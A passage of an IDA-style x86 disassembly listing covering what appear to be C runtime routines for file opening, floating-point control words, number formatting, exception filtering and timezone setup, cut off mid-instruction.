; --------------------------------------------------------------------------- loc_41FFE4: ; CODE XREF: sub_41FEC6+E0j ; sub_41FEC6+113j mov [ebp+var_8], 5 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFED: ; CODE XREF: sub_41FEC6+10Bj ; sub_41FEC6+117j mov [ebp+var_8], 1 loc_41FFF4: ; CODE XREF: sub_41FEC6+F5j ; sub_41FEC6+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_420013 mov ecx, dword_48A01C not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_420013 push 1 pop esi loc_420013: ; CODE XREF: sub_41FEC6+138j ; sub_41FEC6+148j test al, 40h jz short loc_420021 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_420021: ; CODE XREF: sub_41FEC6+14Fj test ah, 10h jz short loc_420028 or esi, edi loc_420028: ; CODE XREF: sub_41FEC6+15Ej test al, 20h jz short loc_420034 or esi, 8000000h jmp short loc_42003E ; --------------------------------------------------------------------------- loc_420034: ; CODE XREF: sub_41FEC6+164j test al, 10h jz short loc_42003E or esi, 10000000h loc_42003E: ; CODE XREF: sub_41FEC6+16Cj ; sub_41FEC6+170j call sub_41FCAC mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_42005F and dword_48A018, 0 mov dword_48A014, 18h jmp short loc_42009D ; --------------------------------------------------------------------------- loc_42005F: ; CODE XREF: sub_41FEC6+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 2630846h mov esi, eax cmp esi, edi jz short loc_420090 push esi nop call near ptr 25C0000h test eax, eax jnz short loc_4200A4 push esi nop call near ptr 2610978h loc_420090: ; CODE XREF: sub_41FEC6+1B6j nop call near ptr 2630B7Ah push eax call sub_41EF44 pop ecx loc_42009D: ; CODE XREF: sub_41FEC6+197j mov eax, edi jmp loc_42017A ; --------------------------------------------------------------------------- loc_4200A4: ; CODE XREF: sub_41FEC6+1C1j cmp eax, 2 jnz short loc_4200AF or [ebp+var_1], 40h jmp short loc_4200B8 ; --------------------------------------------------------------------------- loc_4200AF: ; CODE XREF: sub_41FEC6+1E1j cmp eax, 3 jnz short loc_4200B8 or [ebp+var_1], 8 loc_4200B8: ; CODE XREF: sub_41FEC6+1E7j ; sub_41FEC6+1ECj push esi push ebx call sub_41FD41 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:48B340h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_420161 test al, 80h jz short loc_420161 test byte ptr [ebp+arg_4], 2 jz short loc_420161 push 2 push 0FFFFFFFFh push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_420116 cmp dword_48A018, 83h jz short loc_420161 jmp short loc_420155 ; --------------------------------------------------------------------------- loc_420116: ; CODE XREF: sub_41FEC6+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41E321 add esp, 0Ch test eax, eax jnz short loc_420143 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_420143 push [ebp+var_10] push ebx call sub_4211F1 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_420155 loc_420143: ; CODE XREF: sub_41FEC6+265j ; sub_41FEC6+26Bj push 0 push 0 push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_420161 loc_420155: ; CODE XREF: sub_41FEC6+24Ej ; sub_41FEC6+27Bj push ebx call sub_41A6B7 pop ecx loc_42015C: ; CODE XREF: sub_41FEC6+6Cj or eax, 0FFFFFFFFh jmp short loc_42017A ; --------------------------------------------------------------------------- loc_420161: ; CODE XREF: sub_41FEC6+221j ; sub_41FEC6+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_420178 test byte ptr [ebp+arg_4], 8 jz short loc_420178 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_420178: ; CODE XREF: sub_41FEC6+29Fj ; sub_41FEC6+2A5j mov eax, ebx loc_42017A: ; CODE XREF: sub_41FEC6+1D9j ; sub_41FEC6+299j pop edi pop esi pop ebx leave retn sub_41FEC6 endp ; =============== S U B R O U T I N E ======================================= sub_42017F proc near ; CODE XREF: sub_41C50A+52p xor eax, eax retn sub_42017F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420182 proc near ; CODE XREF: sub_4201B7+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_4201CD mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_42025F pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_420182 endp ; =============== S U B R O U T I N E ======================================= sub_4201B7 proc near ; CODE XREF: sub_41C7F6+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_420182 pop ecx pop ecx retn sub_4201B7 endp ; =============== S U B R O U T I N E ======================================= sub_4201CD proc near ; CODE XREF: sub_420182+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_4201DE push 10h pop eax loc_4201DE: ; CODE XREF: sub_4201CD+Cj test bl, 4 jz short loc_4201E5 or al, 8 loc_4201E5: ; CODE XREF: sub_4201CD+14j test bl, 8 jz short loc_4201EC or al, 4 loc_4201EC: ; CODE XREF: sub_4201CD+1Bj test bl, 10h jz short loc_4201F3 or al, 2 loc_4201F3: ; CODE XREF: sub_4201CD+22j test bl, 20h jz short loc_4201FA or al, 1 loc_4201FA: ; CODE XREF: sub_4201CD+29j test bl, 2 jz short loc_420204 or eax, 80000h loc_420204: ; CODE XREF: sub_4201CD+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_42023C cmp edx, 400h jz short loc_420239 cmp edx, 800h jz short loc_420235 cmp edx, esi jnz short loc_42023C or eax, edi jmp short loc_42023C ; --------------------------------------------------------------------------- loc_420235: ; CODE XREF: sub_4201CD+5Ej or eax, ebp jmp short loc_42023C ; --------------------------------------------------------------------------- loc_420239: ; CODE XREF: sub_4201CD+56j or ah, 1 loc_42023C: ; CODE XREF: sub_4201CD+4Ej ; sub_4201CD+62j ... and ecx, edi pop esi jz short loc_42024C cmp ecx, ebp jnz short loc_420251 or eax, 10000h jmp short loc_420251 ; --------------------------------------------------------------------------- loc_42024C: ; CODE XREF: sub_4201CD+72j or eax, 20000h loc_420251: ; CODE XREF: sub_4201CD+76j ; sub_4201CD+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_42025E or eax, 40000h locret_42025E: ; CODE XREF: sub_4201CD+8Aj retn sub_4201CD endp ; =============== S U B R O U T I N E ======================================= sub_42025F proc near ; CODE XREF: sub_420182+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42026F push 1 pop eax loc_42026F: ; CODE XREF: sub_42025F+Bj test bl, 8 jz short loc_420276 or al, 4 loc_420276: ; CODE XREF: sub_42025F+13j test bl, 4 jz short loc_42027D or al, 8 loc_42027D: ; CODE XREF: sub_42025F+1Aj test bl, 2 jz short loc_420284 or al, 10h loc_420284: ; CODE XREF: sub_42025F+21j test bl, 1 jz short loc_42028B or al, 20h loc_42028B: ; CODE XREF: sub_42025F+28j test ebx, 80000h jz short loc_420295 or al, 2 loc_420295: ; CODE XREF: sub_42025F+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_4202C2 cmp ecx, 100h jz short loc_4202BF cmp ecx, esi jz short loc_4202BA cmp ecx, edx jnz short loc_4202C2 or ah, 0Ch jmp short loc_4202C2 ; --------------------------------------------------------------------------- loc_4202BA: ; CODE XREF: sub_42025F+50j or ah, 8 jmp short loc_4202C2 ; --------------------------------------------------------------------------- loc_4202BF: ; CODE XREF: sub_42025F+4Cj or ah, 4 loc_4202C2: ; CODE XREF: sub_42025F+44j ; sub_42025F+54j ... mov ecx, ebx and ecx, 30000h jz short loc_4202D8 cmp ecx, 10000h jnz short loc_4202DA or eax, esi jmp short loc_4202DA ; --------------------------------------------------------------------------- loc_4202D8: ; CODE XREF: sub_42025F+6Bj or eax, edx loc_4202DA: ; CODE XREF: sub_42025F+73j ; sub_42025F+77j pop esi test ebx, 40000h pop ebx jz short locret_4202E7 or ah, 10h locret_4202E7: ; CODE XREF: sub_42025F+83j retn sub_42025F endp ; =============== S U B R O U T I N E ======================================= sub_4202E8 proc near ; CODE XREF: sub_420387+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_42032D inc esi cmp esi, 3 jge short loc_420328 lea eax, [eax+esi*4] loc_42031A: ; CODE XREF: sub_4202E8+3Ej cmp dword ptr [eax], 0 jnz short loc_42032D inc esi add eax, 4 cmp esi, 3 jl short loc_42031A loc_420328: ; CODE XREF: sub_4202E8+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_42032D: ; CODE XREF: sub_4202E8+27j ; sub_4202E8+35j xor eax, eax pop esi retn sub_4202E8 endp ; =============== S U B R O U T I N E ======================================= sub_420331 proc near ; CODE XREF: sub_420387+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_421337 add esp, 0Ch dec esi js short loc_420383 lea edi, [ebx+esi*4] loc_42036A: ; CODE XREF: sub_420331+50j test eax, eax jz short loc_420383 push edi push 1 push dword ptr [edi] call sub_421337 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_42036A loc_420383: ; CODE XREF: sub_420331+34j ; sub_420331+3Bj pop edi pop esi pop ebx retn sub_420331 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420387 proc near ; CODE XREF: sub_4204E2+81p ; sub_4204E2+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_4203EB inc ebx push ebx push [ebp+arg_0] call sub_4202E8 pop ecx test eax, eax pop ecx jnz short loc_4203E8 push edi push [ebp+arg_0] call sub_420331 pop ecx mov [ebp+var_4], eax pop ecx loc_4203E8: ; CODE XREF: sub_420387+51j mov eax, [ebp+arg_4] loc_4203EB: ; CODE XREF: sub_420387+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_42040B mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_42040B: ; CODE XREF: sub_420387+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_420387 endp ; =============== S U B R O U T I N E ======================================= sub_420413 proc near ; CODE XREF: sub_4204E2+75p ; sub_4204E2+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_420421: ; CODE XREF: sub_420413+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_420421 pop esi retn sub_420413 endp ; =============== S U B R O U T I N E ======================================= sub_42042E proc near ; CODE XREF: sub_4204E2+5Fp ; sub_4204E2+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_42042E endp ; =============== S U B R O U T I N E ======================================= sub_42043A proc near ; CODE XREF: sub_4204E2+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_420440: ; CODE XREF: sub_42043A+12j cmp dword ptr [eax], 0 jnz short loc_420452 inc ecx add eax, 4 cmp ecx, 3 jl short loc_420440 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_420452: ; CODE XREF: sub_42043A+9j xor eax, eax retn sub_42043A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420455 proc near ; CODE XREF: sub_4204E2+C0p ; sub_4204E2+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_42048B: ; CODE XREF: sub_420455+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_42048B mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_4204BD: ; CODE XREF: sub_420455+86j cmp ebx, edi jl short loc_4204D0 mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_4204D7 ; --------------------------------------------------------------------------- loc_4204D0: ; CODE XREF: sub_420455+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_4204D7: ; CODE XREF: sub_420455+79j dec ebx sub ecx, 4 jns short loc_4204BD pop edi pop esi pop ebx leave retn sub_420455 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4204E2 proc near ; CODE XREF: sub_42064E+Dp ; sub_420664+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_42054F lea eax, [ebp+var_C] xor esi, esi push eax call sub_42043A test eax, eax pop ecx jnz loc_42060E lea eax, [ebp+var_C] push eax call sub_42042E pop ecx loc_420547: ; CODE XREF: sub_4204E2+E4j push 2 loc_420549: ; CODE XREF: sub_4204E2+110j pop eax jmp loc_420610 ; --------------------------------------------------------------------------- loc_42054F: ; CODE XREF: sub_4204E2+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_420413 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_420387 add esp, 10h test eax, eax jz short loc_420570 inc ebx loc_420570: ; CODE XREF: sub_4204E2+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_420588 lea eax, [ebp+var_C] push eax call sub_42042E pop ecx jmp short loc_4205C4 ; --------------------------------------------------------------------------- loc_420588: ; CODE XREF: sub_4204E2+98j cmp ebx, eax jg short loc_4205CB sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_420413 lea eax, [ebp+var_C] push esi push eax call sub_420455 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_420387 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_420455 add esp, 20h loc_4205C4: ; CODE XREF: sub_4204E2+A4j xor esi, esi jmp loc_420547 ; --------------------------------------------------------------------------- loc_4205CB: ; CODE XREF: sub_4204E2+A8j cmp ebx, [edi] jl short loc_4205F7 lea eax, [ebp+var_C] push eax call sub_42042E push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_420455 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_420549 ; --------------------------------------------------------------------------- loc_4205F7: ; CODE XREF: sub_4204E2+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_420455 pop ecx pop ecx loc_42060E: ; CODE XREF: sub_4204E2+55j xor eax, eax loc_420610: ; CODE XREF: sub_4204E2+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_42063F mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_420649 ; --------------------------------------------------------------------------- loc_42063F: ; CODE XREF: sub_4204E2+14Ej cmp edi, 20h jnz short loc_420649 mov ecx, [ebp+arg_4] mov [ecx], esi loc_420649: ; CODE XREF: sub_4204E2+15Bj ; sub_4204E2+160j pop edi pop esi pop ebx leave retn sub_4204E2 endp ; =============== S U B R O U T I N E ======================================= sub_42064E proc near ; CODE XREF: sub_42067A+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43BF40 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4204E2 add esp, 0Ch retn sub_42064E endp ; =============== S U B R O U T I N E ======================================= sub_420664 proc near ; CODE XREF: sub_4206A7+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43BF58 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4204E2 add esp, 0Ch retn sub_420664 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42067A proc near ; CODE XREF: sub_41C92F+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4214D8 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_42064E add esp, 24h leave retn sub_42067A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4206A7 proc near ; CODE XREF: sub_41C92F+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4214D8 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_420664 add esp, 24h leave retn sub_4206A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4206D4 proc near ; CODE XREF: sub_41C96D+65p ; sub_41CA71+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_420711 mov [ebp+arg_0], ebx xor ebx, ebx loc_4206F7: ; CODE XREF: sub_4206D4+38j mov dl, [ecx] test dl, dl jz short loc_420703 movsx edx, dl inc ecx jmp short loc_420706 ; --------------------------------------------------------------------------- loc_420703: ; CODE XREF: sub_4206D4+27j push 30h pop edx loc_420706: ; CODE XREF: sub_4206D4+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_4206F7 mov edx, [ebp+arg_8] loc_420711: ; CODE XREF: sub_4206D4+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_42072A cmp byte ptr [ecx], 35h jl short loc_42072A loc_42071D: ; CODE XREF: sub_4206D4+52j dec eax cmp byte ptr [eax], 39h jnz short loc_420728 mov byte ptr [eax], 30h jmp short loc_42071D ; --------------------------------------------------------------------------- loc_420728: ; CODE XREF: sub_4206D4+4Dj inc byte ptr [eax] loc_42072A: ; CODE XREF: sub_4206D4+42j ; sub_4206D4+47j cmp byte ptr [esi], 31h jnz short loc_420734 inc dword ptr [edx+4] jmp short loc_420746 ; --------------------------------------------------------------------------- loc_420734: ; CODE XREF: sub_4206D4+59j push edi call sub_417AB0 inc eax push eax push edi push esi call sub_4182C0 add esp, 10h loc_420746: ; CODE XREF: sub_4206D4+5Ej pop edi pop esi pop ebx pop ebp retn sub_4206D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42074B proc near ; CODE XREF: sub_41C96D+3Fp ; sub_41CA71+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_4207AF pop ecx lea esi, [ebp+var_C] pop ecx push offset word_48A1E8 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4219A9 mov dword_48A210, eax add esp, 18h movsx eax, byte_48A1EA mov dword_48A208, eax pop edi movsx eax, word_48A1E8 mov dword_48A20C, eax mov dword_48A214, offset dword_48A1EC mov eax, offset dword_48A208 pop esi leave retn sub_42074B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4207AF proc near ; CODE XREF: sub_42074B+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_4207FD cmp ebx, edi jz short loc_4207F6 lea edi, [ecx+3C00h] jmp short loc_42081E ; --------------------------------------------------------------------------- loc_4207F6: ; CODE XREF: sub_4207AF+3Dj mov edi, 7FFFh jmp short loc_42081E ; --------------------------------------------------------------------------- loc_4207FD: ; CODE XREF: sub_4207AF+39j xor ebx, ebx cmp eax, ebx jnz short loc_420815 cmp edx, ebx jnz short loc_420815 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_420860 ; --------------------------------------------------------------------------- loc_420815: ; CODE XREF: sub_4207AF+52j ; sub_4207AF+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_42081E: ; CODE XREF: sub_4207AF+45j ; sub_4207AF+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_420836: ; CODE XREF: sub_4207AF+A6j test ecx, esi jnz short loc_420857 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_420836 ; --------------------------------------------------------------------------- loc_420857: ; CODE XREF: sub_4207AF+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_420860: ; CODE XREF: sub_4207AF+64j pop edi pop esi pop ebx leave retn sub_4207AF endp ; --------------------------------------------------------------------------- push 2 call sub_419CDA pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42086E proc near ; DATA XREF: ___:0043B918o ; ___:0043C3E0o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_420891 cmp dword ptr [eax+10h], 3 jnz short loc_420891 cmp dword ptr [eax+14h], 19930520h jnz short loc_420891 jmp sub_41D4FC ; --------------------------------------------------------------------------- loc_420891: ; CODE XREF: sub_42086E+Dj ; sub_42086E+13j ... mov eax, dword_48A218 test eax, eax jz short loc_4208AE push eax call sub_42090A test eax, eax pop ecx jz short loc_4208AE push esi call dword_48A218 jmp short loc_4208B0 ; --------------------------------------------------------------------------- loc_4208AE: ; CODE XREF: sub_42086E+2Aj ; sub_42086E+35j xor eax, eax loc_4208B0: ; CODE XREF: sub_42086E+3Ej pop esi retn 4 sub_42086E endp ; --------------------------------------------------------------------------- dword_4208B4 dd 42086E68h, 3BE89000h, 0A30217FCh, 48A218h, 1835FFC3h ; DATA XREF: ___:00426024o dd 900048A2h, 17FC29E8h ; --------------------------------------------------------------------------- add al, bl ; =============== S U B R O U T I N E ======================================= sub_4208D2 proc near ; CODE XREF: sub_41CD45+6Bp ; sub_41D256+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 25A0000h test eax, eax jz short loc_4208EA xor esi, esi loc_4208EA: ; CODE XREF: sub_4208D2+14j mov eax, esi pop esi retn sub_4208D2 endp ; =============== S U B R O U T I N E ======================================= sub_4208EE proc near ; CODE XREF: sub_41D256+73p ; sub_41D256+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 283080Ah test eax, eax jz short loc_420906 xor esi, esi loc_420906: ; CODE XREF: sub_4208EE+14j mov eax, esi pop esi retn sub_4208EE endp ; =============== S U B R O U T I N E ======================================= sub_42090A proc near ; CODE XREF: sub_41D256+15Bp ; sub_42086E+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] nop call near ptr 2590AC2h test eax, eax jz short loc_42091E xor esi, esi loc_42091E: ; CODE XREF: sub_42090A+10j mov eax, esi pop esi retn sub_42090A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D4FC loc_420922: ; CODE XREF: sub_41D4FC:loc_41D54Dj push 0Ah call sub_41F885 push 16h call sub_421C3C pop ecx pop ecx push 3 call sub_419AF6 ; END OF FUNCTION CHUNK FOR sub_41D4FC ; =============== S U B R O U T I N E ======================================= sub_420939 proc near ; CODE XREF: sub_41D609:loc_41D648p cmp dword_48A2D8, 0 jnz short locret_42094D call sub_42094E inc dword_48A2D8 locret_42094D: ; CODE XREF: sub_420939+7j retn sub_420939 endp ; =============== S U B R O U T I N E ======================================= sub_42094E proc near ; CODE XREF: sub_420939+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_48A220, ebp mov dword_43C018, ebx mov dword_43C008, ebx call sub_421DAE mov esi, eax pop ecx cmp esi, ebp jnz loc_420A77 push offset dword_48A228 nop call near ptr 27E0000h cmp eax, ebx jz loc_420BA6 mov eax, dword_48A228 mov ecx, dword_48A27C imul eax, 3Ch cmp word_48A26E, bp push 1 pop edx mov dword_43BF70, eax mov dword_48A220, edx jz short loc_4209C5 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43BF70, eax loc_4209C5: ; CODE XREF: sub_42094E+69j cmp word_48A2C2, bp jz short loc_4209E9 mov eax, dword_48A2D0 cmp eax, ebp jz short loc_4209E9 sub eax, ecx mov dword_43BF74, edx imul eax, 3Ch mov dword_43BF78, eax jmp short loc_4209F5 ; --------------------------------------------------------------------------- loc_4209E9: ; CODE XREF: sub_42094E+7Ej ; sub_42094E+87j mov dword_43BF74, ebp mov dword_43BF78, ebp loc_4209F5: ; CODE XREF: sub_42094E+99j lea eax, [esp+14h+var_4] mov esi, dword_424150 push eax push ebp push 3Fh mov edi, 220h push off_43BFFC push ebx push offset dword_48A22C push edi push dword_48A0B8 call esi test eax, eax jz short loc_420A32 cmp [esp+14h+var_4], ebp jnz short loc_420A32 mov eax, off_43BFFC and byte ptr [eax+3Fh], 0 jmp short loc_420A3A ; --------------------------------------------------------------------------- loc_420A32: ; CODE XREF: sub_42094E+D1j ; sub_42094E+D7j mov eax, off_43BFFC and byte ptr [eax], 0 loc_420A3A: ; CODE XREF: sub_42094E+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43C000 push ebx push offset dword_48A280 push edi push dword_48A0B8 call esi test eax, eax jz loc_420B9E cmp 